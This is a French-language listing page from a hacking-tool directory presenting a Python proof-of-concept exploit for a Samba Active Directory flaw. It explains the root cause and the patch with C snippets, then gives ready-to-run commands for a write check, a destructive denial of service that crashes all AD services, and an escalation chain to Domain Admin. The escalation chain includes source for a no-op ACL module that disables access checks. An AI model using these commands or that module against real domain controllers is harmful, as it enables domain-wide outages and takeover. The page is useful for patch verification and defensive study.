Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-58221 — PoC Python pour CVE-2026-58221 : vérifie et exploite le contournement d'ACL sur les DN spéciaux de Samba AD LDB via LDAP afin de prouver l'accès en écriture, faire planter les services AD ou élever les privilèges vers Domain Admin. | Kitploit
Outils/GitHubGitHub/devali00/cve-2026-58221
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionLabs et Pratique
GitHubdevali00/cve-2026-58221

CVE-2026-58221

PoC Python pour CVE-2026-58221 : vérifie et exploite le contournement d'ACL sur les DN spéciaux de Samba AD LDB via LDAP afin de prouver l'accès en écriture, faire planter les services AD ou élever les privilèges vers Domain Admin.

Voir le dépôt
il y a 1 moisPas encore vérifié
Partager

CVE-2026-58221 — Prise de contrôle d'un domaine Samba AD via la modification de DN spéciaux LDB

CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Tout utilisateur authentifié du domaine peut modifier les enregistrements spéciaux internes LDB de Samba (@MODULES, @PARTITION, @SAMBA_DSDB) via LDAP, ce qui conduit à un déni de service (plantage de tous les services AD) ou à une élévation de privilèges vers Domain Admin (avec un accès au système de fichiers local).

Versions affectées

StatutVersions
VulnérablesSamba AD DC >= 4.0.0 (toutes les versions antérieures au correctif)
Corrigées4.22.11, 4.23.x, 4.24.x

Avis de sécurité : https://www.samba.org/samba/security/CVE-2026-58221.html

Cause racine

Deux failles se combinent pour contourner tous les contrôles d'accès sur les enregistrements LDB internes de Samba :

Faille 1 : rootdse_filter_operations() — Vérification d'authentification insuffisante

Dans source4/dsdb/samdb/ldb_modules/rootdse.c, la fonction rootdse_filter_operations() est le premier filtre de la chaîne de requêtes LDAP. Elle ne bloque que les appelants anonymes — tout utilisateur authentifié passe, quels que soient ses privilèges :

// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // Only blocks anonymous — all authenticated users pass through
    if (session_info->security_token == anonymous_token) {
        return LDB_ERR_OPERATIONS_ERROR;
    }
    return ldb_next_request(module, req);  // → passes to ACL module
}

Faille 2 : acl.c — Contournement des ACL pour les DN spéciaux

Dans source4/dsdb/samdb/ldb_modules/acl.c, le module ACL ignore toutes les vérifications de permissions pour les DN spéciaux LDB (ceux commençant par @), en supposant que seules des opérations internes de confiance y accèdent :

// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
    return ldb_next_request(module, req);  // NO permission check!
}

Effet combiné : un utilisateur de domaine authentifié à faibles privilèges envoie une requête de modification LDAP ciblant @MODULES. Elle passe rootdse_filter_operations() (pas anonyme), atteint acl.c, qui voit un DN spécial et ignore toutes les vérifications ACL — la modification réussit.

Le correctif (4.22.11+)

Le correctif ajoute une vérification ldb_dn_is_special() dans rootdse_filter_operations() avant que la requête n'atteigne le module ACL :

// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // NEW: Block all operations on special DNs from external connections
    if (ldb_dn_is_special(req->op.*.message->dn)) {
        D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
        return LDB_ERR_OPERATIONS_ERROR;
    }
    // ... rest of function
}

Plongée approfondie dans l'architecture

LDB (Lightning Database)

LDB est la base de données interne de Samba (sam.ldb), équivalent de NTDS.dit sous Windows. Elle stocke tous les objets Active Directory et utilise une architecture de chaîne de modules pour traiter les requêtes.

Le méta-module samba_dsdb

samba_dsdb est le point d'entrée unique qui initialise toute la chaîne de modules Samba (~30 modules). Il :

  1. Lit la liste de modules codée en dur depuis samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)
  2. Définit l'opaque forced_module_msg — qui remplace toute valeur @PARTITION/modules stockée dans la base de données
  3. Initialise rootDSE, les partitions et les opaques dont dépendent tous les autres modules

C'est pourquoi les modules individuels ne peuvent pas être chargés de manière autonome — ils plantent avec Protocol error (2) sans le contexte fourni par samba_dsdb. C'est aussi pourquoi la modification de @PARTITION/modules dans la base de données n'a aucun effet sur la chaîne de modules en cours d'exécution.

DN spéciaux clés

DNObjectifImpact de la modification
@MODULES/@LISTContrôle les modules que Samba charge par connexionPlantage (si modifié depuis samba_dsdb)
@PARTITIONConfiguration des partitions et modules par partitionIgnoré (remplacé par forced_module_msg)
@SAMBA_DSDBConfiguration interne de samba_dsdbPlantage

Méthodes d'exploitation

Méthode 1 : safe-write (non destructive) ✅

Réécrit la même valeur (@LIST: samba_dsdb) dans @MODULES. Prouve l'accès en écriture sans aucun impact sur le service. Recommandé pour les pentests.

python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write

Méthode 2 : dos (Destructive) ⚠️

Remplace @MODULES/@LIST par des noms de modules individuels (à l'exclusion de acl/aclread). Lors de la connexion suivante, les modules échouent à s'initialiser sans le contexte samba_dsdb → tous les services AD plantent (LDAP, SMB, Kerberos, DNS).

python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force

Impact : Panne totale d'AD. La récupération nécessite un accès à la console locale. Toute l'authentification de domaine s'arrête.

Méthode 3 : escalate (Domain Admin — Accès local requis) 🔴

Chaîne d'exploitation complète pour obtenir le rôle Domain Admin :

  1. Confirmer que @MODULES est accessible en écriture via LDAP (à distance)
  2. Compiler des modules ACL no-op qui laissent passer toutes les requêtes (local)
  3. Remplacer acl.so / aclread.so par des versions no-op (local)
  4. Redémarrer Samba pour charger les modules no-op (local)
  5. Ajouter l'utilisateur cible au groupe Domain Admins via LDAP (à distance — ACL contournées)
  6. Vérifier l'appartenance au groupe DA (à distance)
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=user,CN=Users,DC=domain,DC=local'

Source du module ACL no-op :

#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
    return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
    .name="acl", .add=noop, .modify=noop,
    .del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
    return ldb_register_module(&ops);
}

Modes de l'outil

ModeImpactNécessite
--checkAucun (sûr)LDAPS + identifiants de domaine
--assessAucun (analyse)LDAPS + identifiants de domaine
--exploit --method safe-writeAucun (prouve l'écriture)LDAPS + identifiants de domaine
--exploit --method dosPanne totale d'ADLDAPS + identifiants de domaine
--exploit --method escalateDomain AdminLDAPS + identifiants de domaine + sudo sur le DC
--cleanupAnnule l'escaladeLDAPS + identifiants de domaine + sudo sur le DC
--fixRestaure un DC plantéConsole locale sur le DC

Exemples d'utilisation

# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method safe-write

# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method dos --force
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    696
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    499
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    396
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    340
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    258
  • 6

    antifox

    antifox-ai/antifox

    Plateforme de test d'intrusion autonome multi-agents par IA qui exécute la reconnaissance, la découverte de la surface d'attaque, la validation de l'exploitation et la livraison de rapports étayés par des preuves.

    257

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →